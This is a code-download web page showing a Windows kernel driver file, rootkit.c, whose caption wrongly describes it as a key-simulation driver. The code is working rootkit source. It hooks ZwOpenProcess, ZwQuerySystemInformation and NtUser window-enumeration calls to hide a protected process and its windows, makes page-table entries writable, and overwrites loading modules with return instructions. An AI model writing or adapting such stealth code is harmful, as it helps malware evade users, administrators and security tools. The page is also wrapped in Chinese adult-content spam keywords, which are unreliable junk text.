亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? rootkit.c

?? 一個用于按鍵模擬的驅動 利用 port I/O
?? C
字號:
#include "rootkit.h"
#include "DBKFunc.h"
#include <windef.h>


BOOLEAN MakeWritableKM(PVOID StartAddress,UINT_PTR size)
{
	UINT_PTR PTE,PDE;
	struct PTEStruct *x;
	UINT_PTR CurrentAddress=(UINT_PTR)StartAddress;	

	while (CurrentAddress<((UINT_PTR)StartAddress+size))
	{
		//find the PTE or PDE of the selected address
		PTE=(UINT_PTR)CurrentAddress;
		PTE=PTE/0x1000*PTESize+0xc0000000;

		PTE=(UINT_PTR)StartAddress;
		PTE=PTE/0x1000*PTESize+0xc0000000;

    	//now check if the address in PTE is valid by checking the page table directory at 0xc0300000 (same location as CR3 btw)
	    PDE=PTE/0x1000*PTESize+0xc0000000; //same formula

		x=(PVOID)PDE;
		if ((x->P==0) && (x->A2==0))
		{
			CurrentAddress+=PAGE_SIZE_LARGE;
			continue;
		}

		if (x->PS==1)
		{
			//big page, no pte
			x->RW=1;
			CurrentAddress+=PAGE_SIZE_LARGE;
			continue;
		}

		CurrentAddress+=0x1000;
		x=(PVOID)PTE;
		if ((x->P==0) && (x->A2==0))
			continue; //see for explenation the part of the PDE

		x->RW=1;
	}

	return TRUE;
}

BOOLEAN MakeWritable(PVOID StartAddress,UINT_PTR size,BOOLEAN usecopyonwrite)
{
#ifndef AMD64
	struct PTEStruct *x;
	unsigned char y;
	UINT_PTR CurrentAddress=(UINT_PTR)StartAddress;	

	//Makes usermode <0x80000000 writable
	if (((UINT_PTR)StartAddress>=0x80000000) || ((UINT_PTR)StartAddress+size>=0x80000000)) 
		return MakeWritableKM(StartAddress,size); //safety check: don't do kernelmemory with this routine

	//4kb pages (assumption, I know, but thats the system i'm working with)
	//PTE/0x1000*4+0xc0000000;

	while (CurrentAddress<((UINT_PTR)StartAddress+size))
	{
		__try
		{
			y=*(PCHAR)CurrentAddress; //page it in if it wasn't loaded already
			x=(PVOID)(CurrentAddress/0x1000*PTESize+0xc0000000);
			if (x->RW==0) //if it's read only then
			{
				if (usecopyonwrite)
                    x->A1=1;  //set the copy-on-write bit to 1
				else
					x->RW=1; //just writable
			}
		}
		__except(1)
		{
			//ignore and continue
		}	

        CurrentAddress+=0x1000;
	}	

	return TRUE;
#else
	return FALSE;
#endif
}


//this unit will contain the functions and other crap used by the hider function
BOOLEAN CheckImageName(IN PUNICODE_STRING FullImageName, IN char* List,int listsize)
{
	/*
	pre:List has been initialized and all entries are UPPERCASE. Each entry is seperated
	    by a 0-marker so just setting the pointer ro the start and doing a compare will work

	*/
	ANSI_STRING tempstring;
	int i;

	//DbgPrint("Checking this image name...\n");
	RtlZeroMemory(&tempstring,sizeof(ANSI_STRING));
	if (RtlUnicodeStringToAnsiString(&tempstring,FullImageName,TRUE)== STATUS_SUCCESS)
	{
		char *p;
		INT_PTR modulesize;
		__try
		{
			RtlUpperString(&tempstring,&tempstring);

			p=List;
	
			for (i=0;i<listsize;i++)
			{
				if (List[i]=='\0')
				{
					modulesize=i-(INT_PTR)(p-List);
					if (modulesize>=0)
					{	
						//DbgPrint("Checking %s with %s\n",&tempstring.Buffer[tempstring.Length-modulesize],p);

						if ((tempstring.Length>=modulesize) && (strcmp(p,&tempstring.Buffer[tempstring.Length-modulesize])==0))
						{
							//we have a match!!!
							//DbgPrint("It's a match with %s\n",p);
							return TRUE;	
						}						
	
					}
					p=&List[i+1];
				}
	
			}
		
			
		}
		__finally
		{
			RtlFreeAnsiString(&tempstring);	
		}
	}

	//DbgPrint("No match\n");
	return FALSE;

}

VOID LoadImageNotifyRoutine(IN PUNICODE_STRING  FullImageName, IN HANDLE  ProcessId, IN PIMAGE_INFO  ImageInfo)
{
	BOOLEAN RemoveIt=FALSE;

	if ((ProtectOn) && (GlobalDenyList) && (DenyList)) //check for denylist to be %100 sure
		RemoveIt=CheckImageName(FullImageName,ModuleList,ModuleListSize);

	if ((ProtectOn) && (!RemoveIt) && (ProcessId==(HANDLE)ProtectedProcessID))
	{
		if (DenyList)
			RemoveIt=CheckImageName(FullImageName,ModuleList,ModuleListSize);
		else //it's an accept list
			RemoveIt=!CheckImageName(FullImageName,ModuleList,ModuleListSize);
	}

	
	if ((RemoveIt) && (!ImageInfo->SystemModeImage))
	{
		ULONG i;
		char* p;

		MakeWritable(ImageInfo->ImageBase,ImageInfo->ImageSize,TRUE);

		p=ImageInfo->ImageBase;
		__try
		{
			for(i=0;i<ImageInfo->ImageSize;i++)
				p[i]=0xc3;
		}
		__except(1)
		{
		}
	}
		
}

int counter=0;
NTSTATUS NewPsGetContextThread(IN PETHREAD Thread, IN OUT PCONTEXT ThreadContext, IN KPROCESSOR_MODE PreviousMode)
{
	//DbgPrint("PsGetContextThread called: %d\n",PsGetCurrentProcessId());
	counter++;
	return OldPsGetContextThread(Thread,ThreadContext,PreviousMode);
}


NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle,  IN ACCESS_MASK DesiredAccess,  IN POBJECT_ATTRIBUTES ObjectAttributes,  IN PCLIENT_ID ClientId)
{	
#ifndef AMD64
	if ((ProtectOn) && (PsGetCurrentProcessId()!=ProtectedProcessID) && (((UINT_PTR)(ClientId->UniqueProcess)>=(UINT_PTR)ProtectedProcessID)) && ((UINT_PTR)(ClientId->UniqueProcess)<(UINT_PTR)ProtectedProcessID+4))
	{
		if ((UINT_PTR)ProcessHandle<=0x80000000) //make it more genuine
		{
			__try
			{
                *ProcessHandle=0;
			}
			__except(1)
			{

			}
		}


		return 0xC0000005;		
	
	}
	else
#endif
		return OldZwOpenProcess(ProcessHandle,DesiredAccess,ObjectAttributes,ClientId);
}

NTSTATUS NewZwQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength OPTIONAL )
{
	typedef struct _SYSTEM_THREAD_INFORMATION {
	    LARGE_INTEGER KernelTime;
	    LARGE_INTEGER UserTime;
	    LARGE_INTEGER CreateTime;
	    ULONG         WaitTime;
	    PVOID         StartAddress;
	    CLIENT_ID     ClientId;
	    KPRIORITY     Priority;
	    KPRIORITY     BasePriority;
	    ULONG         ContextSwitchCount;
	    LONG          State;
	    LONG          WaitReason;
	} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION;


	typedef struct _SYSTEM_PROCESS_INFORMATION {
	    ULONG             NextEntryDelta; //long live the delta, without it i'd be lost
	    ULONG             ThreadCount;
	    ULONG             Reserved1[6];
	    LARGE_INTEGER     CreateTime;
	    LARGE_INTEGER     UserTime;
	    LARGE_INTEGER     KernelTime;
	    UNICODE_STRING    ProcessName;
	    KPRIORITY         BasePriority;
	    ULONG             ProcessId;
	    ULONG             InheritedFromProcessId;
	    ULONG             HandleCount;
	    ULONG             Reserved2[2];
	    ULONG		      VmCounters;
	    ULONG		      IoCounters;
		SYSTEM_THREAD_INFORMATION Threads[1];
	} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;

	
	NTSTATUS result;

	result=OldZwQuerySystemInformation(SystemInformationClass,SystemInformation,SystemInformationLength,ReturnLength);;

#ifndef AMD64	
	if ((ProtectOn) && (PsGetCurrentProcessId()!=ProtectedProcessID) && (SystemInformationClass==5) && (NT_SUCCESS(result))) //process/thread info
	{
		PSYSTEM_PROCESS_INFORMATION pspi;
		PSYSTEM_PROCESS_INFORMATION pspi2;
		PSYSTEM_PROCESS_INFORMATION oldpspi=NULL;
		ULONG LastDelta=0;

		pspi=SystemInformation;
		
		while (1)
		{
			if (pspi->ProcessId==(ULONG)ProtectedProcessID)
			{
	
                pspi2= (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pspi)+pspi->NextEntryDelta);
				
				if (pspi==pspi2) //it's the last entry in the list
				{
					//just delete it and make the length shorter					
					oldpspi->NextEntryDelta=0; //mark the previous one as last entry in the list
					RtlZeroMemory(pspi,LastDelta);					
					break;
				}
				else
				{
					//link over it
					oldpspi->NextEntryDelta+=pspi->NextEntryDelta;
					RtlZeroMemory(pspi,pspi->NextEntryDelta);
					break;
				}
				
				break;
			}

            if (pspi->NextEntryDelta == 0) //end of list
				break;

			LastDelta=pspi->NextEntryDelta;
			oldpspi=pspi;
			pspi= (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pspi)+pspi->NextEntryDelta);
		}
	}
#endif
	
	return result;
}

UINT_PTR NewNtUserQueryWindow(IN ULONG WindowHandle,IN ULONG TypeInformation)
{
#ifndef AMD64
	ULONG WindowHandleProcessID;

	if ((ProtectOn) && (PsGetCurrentProcessId()!=ProtectedProcessID))
	{
		WindowHandleProcessID=OldNtUserQueryWindow(WindowHandle,0);
		if (WindowHandleProcessID==(ULONG)ProtectedProcessID)
			return 0;
	}
#endif

	return OldNtUserQueryWindow(WindowHandle,TypeInformation);
}


NTSTATUS NewNtUserBuildHwndList(IN HDESK hdesk, IN HWND hwndNext, IN ULONG fEnumChildren, IN DWORD idThread, IN UINT cHwndMax, OUT HWND *phwndFirst, OUT ULONG* pcHwndNeeded)
{
#ifndef AMD64
	NTSTATUS result;

	if ((ProtectOn) && (PsGetCurrentProcessId()!=ProtectedProcessID))
	{
		ULONG ProcessID;
		//scan the results for windowhandles of the protected processid
		if (fEnumChildren==1)
		{
            ProcessID=OldNtUserQueryWindow((ULONG)hwndNext,0);
			if (ProcessID==(ULONG)ProtectedProcessID)
				return STATUS_UNSUCCESSFUL;
		}
		result=OldNtUserBuildHwndList(hdesk,hwndNext,fEnumChildren,idThread,cHwndMax,phwndFirst,pcHwndNeeded);

		if (result==STATUS_SUCCESS)
		{
		//not go through the list and check for windows with a process that is protected
		//if it's found, remove it from the list
			ULONG i=0;
			ULONG j;

			while (i<*pcHwndNeeded)
			{
				ProcessID=OldNtUserQueryWindow((ULONG)phwndFirst[i],0);
				if (ProcessID==(ULONG)ProtectedProcessID)
				{
					//Whoa there baby, don't tell the user this exists
					for (j=i; j<(*pcHwndNeeded)-1; j++)					
						phwndFirst[j]=phwndFirst[j+1]; //shift all handles after this one place

					phwndFirst[*pcHwndNeeded-1]=0; //just make it empty

					(*pcHwndNeeded)--; //return less 
					continue; //continue the loop and check the current i
				}
                i++;				
			}
			
		}

		return result;
	}
#endif
	return OldNtUserBuildHwndList(hdesk,hwndNext,fEnumChildren,idThread,cHwndMax,phwndFirst,pcHwndNeeded);
}

ULONG NewNtUserFindWindowEx(IN HWND hwndParent, IN HWND hwndChild, IN PUNICODE_STRING pstrClassName OPTIONAL, IN PUNICODE_STRING pstrWindowName OPTIONAL, IN DWORD dwType)
{
	ULONG result;
	result=OldNtUserFindWindowEx(hwndParent,hwndChild,pstrClassName,pstrWindowName,dwType);
#ifndef AMD64	
	if ((ProtectOn) && (PsGetCurrentProcessId()!=ProtectedProcessID))
	{
		ULONG ProcessID;
		ProcessID=OldNtUserQueryWindow(result,0);
		if (ProcessID==(ULONG)ProtectedProcessID)
			return 1230;
	}
#endif

	return result;
}

ULONG NewNtUserGetForegroundWindow(VOID)
{
	ULONG result;
	result=OldNtUserGetForegroundWindow();
#ifndef AMD64	
	if ((ProtectOn) && (PsGetCurrentProcessId()!=ProtectedProcessID))
	{
		ULONG ProcessID;
		ProcessID=OldNtUserQueryWindow(result,0);
		if (ProcessID==(ULONG)ProtectedProcessID)
			result=LastForegroundWindow;
		else
            LastForegroundWindow=result;
	}
#endif
	
	return result;
}

_declspec( naked ) NTSTATUS OriginalObOpenObjectByPointer(IN PVOID Object, IN ULONG HandleAttributes, IN PACCESS_STATE PassedAccessState OPTIONAL, IN ACCESS_MASK DesiredAccess,
													  IN POBJECT_TYPE ObjectType, IN KPROCESSOR_MODE AccessMode, OUT PHANDLE Handle )
{
	__asm
	{
		mov edi,edi
		push ebp
		mov ebp,esp
		//jmp back to the originalcode AFTER the jmp
		mov ebp,esp
		mov ebp,esp
		mov ebp,esp
		mov ebp,esp
		mov ebp,esp
		mov ebp,esp
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
	}


}


NTSTATUS NewObOpenObjectByPointer (IN PVOID Object, IN ULONG HandleAttributes, IN PACCESS_STATE PassedAccessState OPTIONAL, IN ACCESS_MASK DesiredAccess,
								   IN POBJECT_TYPE ObjectType, IN KPROCESSOR_MODE AccessMode, OUT PHANDLE Handle )
{
	/*if (testprotect==Object)
	{	
		*Handle=NULL;
		return 0;
	}*/

	return OriginalObOpenObjectByPointer(Object,HandleAttributes,PassedAccessState,DesiredAccess,ObjectType,AccessMode,Handle);

}


void cr3_change_callback(ULONG oldcr3, ULONG newcr3)
{
	ULONG *stack;

	HANDLE pid=PsGetCurrentProcessId();

   // if newcr3 = protectedprocess and pid isn't protected process then block
	
	stack=(ULONG *)(((ULONG)&oldcr3)-4);

	//DbgPrint("stack=%p ...\n",stack);
	//DbgPrint("stack[0]=%x\n",stack[0]);
	//DbgPrint("stack[1]=%x\n",stack[1]);
	//DbgPrint("stack[2]=%x\n",stack[2]);	

	//DbgPrint("CR3 changed at %x : oldcr3=%x newcr3=%x - PID=%x\n",stack[0], oldcr3, newcr3, pid);

    //KeBugCheckEx(0xce, (ULONG)stack,stack[0],stack[1],stack[2]);


	//vmx_exit_cr3_callback(newcr3);
	//DbgPrint("OMGWTF I'M STILL HERE! WAAAAAAAAAAAAH!!!!!\n");
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日韩午夜电影av| 成人午夜视频免费看| 久久精品这里都是精品| 欧美专区亚洲专区| 国产精品中文字幕欧美| 亚洲第一主播视频| 中文字幕av不卡| 日韩欧美一级特黄在线播放| 色婷婷精品大在线视频 | 日本韩国一区二区三区视频| 免费视频最近日韩| 亚洲精品日韩一| 国产欧美一区二区精品忘忧草| 欧美一区二区三级| 欧美久久一区二区| 91蜜桃网址入口| 风流少妇一区二区| 国产毛片精品一区| 国模套图日韩精品一区二区| 午夜精品久久久久久久蜜桃app| 亚洲美女屁股眼交3| 国产精品理伦片| 国产精品网站一区| 亚洲国产经典视频| 中文字幕av资源一区| 国产日韩高清在线| 国产亚洲精品超碰| 欧美美女一区二区三区| 亚洲国产精品人人做人人爽| 亚洲永久精品国产| 日韩一区二区视频在线观看| 国产一区二区三区久久久| 亚洲人成网站色在线观看| 色88888久久久久久影院野外| 亚洲123区在线观看| 精品嫩草影院久久| 99久久婷婷国产精品综合| 亚洲精品成a人| 国产资源精品在线观看| 男女视频一区二区| 五月天中文字幕一区二区| 亚洲va欧美va人人爽午夜| 亚洲h在线观看| 伊人性伊人情综合网| 一区二区成人在线观看| 亚洲成人动漫精品| 爽好久久久欧美精品| 香蕉乱码成人久久天堂爱免费| 五月天中文字幕一区二区| 偷窥国产亚洲免费视频| 蜜桃一区二区三区在线| 精品在线播放午夜| 国产成人av一区二区三区在线观看| 国产乱码精品一区二区三区忘忧草| 国产99久久久久| 91美女在线视频| 欧美三级日韩三级| 91精品国产综合久久精品性色| 日韩三区在线观看| 久久理论电影网| 国产精品成人免费| 洋洋av久久久久久久一区| 水野朝阳av一区二区三区| 精品一区二区三区日韩| 国产高清在线观看免费不卡| 波多野结衣中文字幕一区二区三区| 一本久久精品一区二区| 欧美精品亚洲一区二区在线播放| 欧美成人精品高清在线播放| 国产精品区一区二区三| 亚洲国产精品人人做人人爽| 久久不见久久见免费视频1| 岛国精品在线播放| 精品1区2区3区| 久久青草国产手机看片福利盒子 | 午夜精品123| 国产毛片精品国产一区二区三区| av电影天堂一区二区在线| 欧美日韩一区三区| 国产亚洲精久久久久久| 亚洲一区二区三区在线播放| 美国十次综合导航| 99久久婷婷国产综合精品| 国产精品嫩草99a| 日韩中文字幕一区二区三区| 成人av集中营| 91精彩视频在线观看| 在线成人高清不卡| 欧美激情综合网| 五月激情丁香一区二区三区| 亚洲国产日韩综合久久精品| 黑人巨大精品欧美黑白配亚洲| 国产成人久久精品77777最新版本| 一本久道中文字幕精品亚洲嫩| 激情图片小说一区| 国产在线日韩欧美| 在线精品视频免费播放| 久久蜜桃一区二区| 亚洲福利电影网| 成人精品小蝌蚪| 欧美一区二区三区免费观看视频 | 久草中文综合在线| 91网站最新地址| 2欧美一区二区三区在线观看视频| 一区二区三区视频在线看| 国产成人av电影免费在线观看| 911国产精品| 亚洲激情图片小说视频| 国产成人高清在线| 欧美精品一区二区三区四区| 午夜天堂影视香蕉久久| 91久久精品一区二区三区| 国产精品久线在线观看| 国内偷窥港台综合视频在线播放| 欧美日韩小视频| 亚洲欧美一区二区不卡| 国产成人自拍网| 26uuu欧美| 九色|91porny| 日韩免费在线观看| 日本中文字幕一区二区视频| 欧美色爱综合网| 亚洲国产精品视频| 欧美艳星brazzers| 亚洲美女视频在线| 一本大道久久a久久精二百| 亚洲国产成人自拍| 成人av一区二区三区| 国产婷婷色一区二区三区在线| 成人av在线一区二区三区| 国产精品一级片在线观看| 美国一区二区三区在线播放| 国产一区二区三区免费看 | 首页国产丝袜综合| 欧美在线免费播放| 首页综合国产亚洲丝袜| 在线91免费看| 国产成人综合精品三级| 亚洲天堂久久久久久久| 欧美日韩中文一区| 国产一区二区三区免费看| 亚洲欧美日韩国产另类专区| 欧美伊人精品成人久久综合97| 精品一二三四在线| 中文字幕在线播放不卡一区| 日韩三级免费观看| 91亚洲精品久久久蜜桃网站 | 韩国毛片一区二区三区| 亚洲免费av在线| 欧美一级专区免费大片| 成人av电影免费在线播放| 午夜精品一区二区三区电影天堂| 久久久久久久久久久久久夜| 在线精品视频免费观看| 懂色中文一区二区在线播放| 豆国产96在线|亚洲| 丁香激情综合国产| 91免费视频网| 91性感美女视频| 久久国产生活片100| 国产盗摄一区二区| 日本一区二区视频在线| 国产91富婆露脸刺激对白| 国产农村妇女精品| 粉嫩aⅴ一区二区三区四区| 91精品午夜视频| 麻豆91在线播放| 久久亚洲精精品中文字幕早川悠里| 捆绑调教美女网站视频一区| 久久一二三国产| 一本久道中文字幕精品亚洲嫩| 亚洲免费看黄网站| 成人aaaa免费全部观看| 亚洲美女淫视频| 91精品国产综合久久香蕉的特点 | 精品国产乱码久久久久久老虎| 国产精品久久久久影视| 青青草国产成人99久久| xfplay精品久久| 国产尤物一区二区在线| 亚洲欧美另类图片小说| 欧美综合一区二区| 日本91福利区| 91精品国产91久久久久久最新毛片| 国产精品一区二区三区四区| 国产精品第13页| 欧美不卡123| 99麻豆久久久国产精品免费| 日韩极品在线观看| 国产亚洲精品7777| 欧美视频日韩视频在线观看| 精品亚洲porn| xfplay精品久久| 欧美久久久久久蜜桃| 欧美一区二区三区白人| 一区二区三区.www| 在线欧美小视频| 国产无一区二区| 欧美网站大全在线观看| 国产一区二区三区美女|